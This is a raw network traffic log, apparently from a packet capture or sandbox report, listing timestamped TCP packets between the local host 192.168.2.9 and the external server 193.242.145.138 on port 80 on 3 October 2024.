Oct 3, 2024 09:20:35.769730091 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.769736052 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769747019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769763947 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.769766092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769782066 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769788980 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.769797087 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769809961 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.769809961 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769826889 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.769835949 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.769884109 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.770579100 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770593882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770607948 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770622969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770632982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770643950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770652056 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.770657063 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770670891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.770701885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.770715952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770728111 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770737886 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770749092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770760059 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770770073 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770770073 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.770783901 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770795107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.770797968 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.770833969 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.771532059 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771543980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771554947 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771564960 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771575928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771584034 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.771586895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771600008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771610975 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771615982 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.771635056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771642923 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.771650076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771661043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771671057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771682024 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.771682024 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771694899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.771701097 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.771724939 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772474051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772490025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772501945 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772512913 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772520065 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772525072 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772540092 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772552967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772564888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772569895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772578955 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772588015 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772588015 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772593021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772605896 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772617102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772617102 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772629023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772639990 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772640944 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772651911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.772669077 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.772701025 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.773222923 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773235083 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773251057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773258924 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773264885 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773267031 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773268938 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773274899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773278952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773284912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773291111 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773293972 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.773298025 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773313999 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773320913 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.773327112 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773343086 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773354053 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.773356915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773367882 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.773370981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.773397923 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.773999929 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774013042 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774023056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774034977 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774058104 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774082899 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774143934 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774158001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774173021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774187088 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774218082 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774319887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774339914 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774350882 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774362087 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774372101 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774383068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774386883 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774394989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774398088 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774409056 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774424076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774427891 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774439096 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774451017 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774461985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774471998 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774472952 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774486065 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774497032 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.774504900 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774513960 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.774533033 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775263071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775276899 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775290966 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775305033 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775307894 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775321960 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775332928 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775332928 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775346994 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775357962 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775362015 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775369883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775381088 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775388956 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775403023 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775409937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775419950 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775434971 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775446892 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775448084 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775459051 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775470018 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775480986 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.775485992 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775513887 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.775521994 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.776185036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776199102 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776209116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776221037 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776233912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776245117 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.776246071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776257992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776268005 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.776273012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776278973 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776285887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776293993 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776294947 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.776300907 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776307106 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776314020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776319981 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776321888 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.776341915 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.776360035 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.776957989 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776972055 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.776985884 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777004957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777018070 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777019024 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777026892 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777029991 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777041912 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777054071 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777060032 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777066946 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777080059 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777091026 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777093887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777106047 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777106047 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777122974 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777134895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777136087 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777148008 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777162075 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777163029 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777177095 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777193069 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777206898 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777232885 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777755022 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777800083 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.777807951 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777820110 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777832985 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:35.777857065 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:35.823621988 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.021239996 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027240992 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027256966 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027268887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027326107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027338982 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027353048 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027364969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027376890 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027400017 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027421951 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027539015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027550936 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027586937 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027678967 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027690887 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027700901 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027712107 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027723074 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027724981 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027741909 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027745962 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027754068 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027765036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027767897 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027776957 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027789116 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.027796984 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.027817011 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.028409004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028422117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028433084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028443098 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028455019 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028465986 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028467894 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.028476954 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028487921 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028498888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028503895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.028510094 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028522015 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028527021 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.028536081 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028553963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028557062 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.028567076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028577089 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028578043 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.028588057 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.028604031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.028619051 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029347897 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029361963 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029372931 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029383898 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029393911 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029405117 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029405117 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029416084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029428959 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029438972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029443979 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029450893 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029457092 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029463053 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029475927 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029486895 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029486895 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029499054 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029510021 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029519081 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029521942 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029530048 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029536009 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.029555082 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.029578924 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.030289888 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030303001 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030313969 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030323982 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030334949 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030347109 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030358076 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030369043 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030371904 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.030380964 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030391932 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030395031 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.030404091 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030416012 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030416965 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.030430079 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030433893 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.030445099 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030457020 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030459881 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.030467987 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.030493975 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.030504942 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031234980 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031248093 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031259060 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031270027 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031280041 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031286001 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031292915 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031303883 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031311035 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031316042 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031331062 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031337976 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031347036 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031358004 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031364918 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031369925 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031382084 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031394958 CEST	49706	80	192.168.2.9	193.242.145.138
Oct 3, 2024 09:20:36.031404972 CEST	80	49706	193.242.145.138	192.168.2.9
Oct 3, 2024 09:20:36.031416893 CEST	80	49706	193.242.145.138	192.168.2.9
